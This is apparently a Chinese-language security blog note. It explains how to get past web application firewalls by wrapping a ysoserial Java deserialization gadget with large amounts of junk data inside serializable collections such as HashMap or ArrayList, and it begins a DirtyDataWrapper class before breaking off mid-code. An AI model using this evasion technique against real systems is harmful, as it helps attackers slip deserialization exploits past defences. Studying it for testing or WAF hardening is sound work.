平时我们遇到站点的时候偶尔能看到通过大量脏数据绕过waf,当然在java反序列化也可以,实现思路是需要找到一个class可以序列化,它可以把脏数据对象和gadget一起包裹起来,所以我们要找的class, 第一需要实现 java.io.Serializable 接口,第二可以存储任意对象 ,我的第一想法是HashMap因为之前也考虑过,毕竟HashMap在取出key和value的时候,都会对对象进行反序列化
如下:
HashMap
当然后面看到了别人的文章,才发现自己还是考虑的比较少,其实集合类型就很容易符合
ArrayListLinkedListHashMapLinkedHashMapTreeMap……
并且最重要的是还能不断套娃,这里直接搬运网上代码写的很好了
public class DirtyDataWrapper { private int dirtyDataSize; //脏数据大小 private String dirtyData; //脏数据内容 private Object gadget; // ysoserila gadget对象 public DirtyDataWrapper(Object gadget, int dirtyDataSize){ this.gadget = gadget; this.dirtyDataSize = dirtyDataSize; } public static String getLongString(int length){ String str = “”; for (int i=0;i



